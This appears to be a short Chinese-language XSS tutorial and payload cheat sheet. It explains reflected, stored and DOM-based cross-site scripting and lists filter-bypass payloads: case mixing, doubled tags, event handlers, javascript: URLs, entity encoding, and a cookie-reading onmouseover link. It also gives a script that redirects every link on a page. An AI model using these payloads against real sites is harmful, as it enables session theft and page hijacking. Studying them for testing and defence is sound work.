1.反射型

用户如果点击了类似于这样的攻击型url,就会执行反射型XSS攻击,并造成危害,这也就是它作为反射型的原因,且只会执行一次

1
127.0.0.1/xss.php?id=<script>alert("hello")</script>

2.储存型

存储型一般会在博客评论,用户评论,留言板等等这些会把数据存储在数据库中的地方注入恶意代码

作为用户来访问此网页时触发

3.DOM型

详解:https://www.cnblogs.com/mysticbinary/p/12542695.html

重定向至京东页面:

1
2
3
4
5
<script>window.onload=function(){
var link=document.getElementsByTagName('a');
for(j=0;j<=link.length;j++){
link[j].href="https://www.jd.com";}
}</script>

4.一些常见绕过

大小写绕过

1
只过滤了<script>标签,可以尝试<scRipt>绕过

双写绕过

遇到替换为空或删除的情况,可以尝试

1
<scri<script>pt>

替换绕过(HTML事件或js伪协议)

详细:https://www.cnblogs.com/xiaozi/p/12050521.html

这里举几个常用的例子:

1
2
3
4
5
<svg onload=alert('1')> <!--加载svg图片时执行js代码"alert(1)"-->
<iframe src=javascript:alert('1')> <!--通过js伪协议执行js代码"alert(1)"-->
<a onmouseover=alert(document.cookie)>xxs link</a> <!--光标移动到xss link超链接上执行js代码"alert(document.cookie)"-->
<a href=javascript:alert('1')>link</a> <!--点击link超链接通过js伪协议执行js代码"alert(1)"-->
<img src=x onerror=alert('1')></img> <!--通过故意引用不存在的图片触发onerror命令执行js代码"alert(1)"-->

HTML实体编码绕过

1
<a href=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>link</a>

也可以不带分号

1
<a href=&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29>link</a>

网页中显示空格可以用&nbsp;
也可以用实体编码&#x20;

内嵌tab

1
<iframe src=java&#x09;script:alert(1)>

防止javascrpt被过滤掉

css特性绕过

background:url(javascript:)

拼接绕过

window["al"+"ert"]("Hello, world!");

<script>alert(/Hello, world!/)</script>效果一样

长度限制绕过

5.XSS平台

利用:https://blog.csdn.net/NSQ0207/article/details/131891269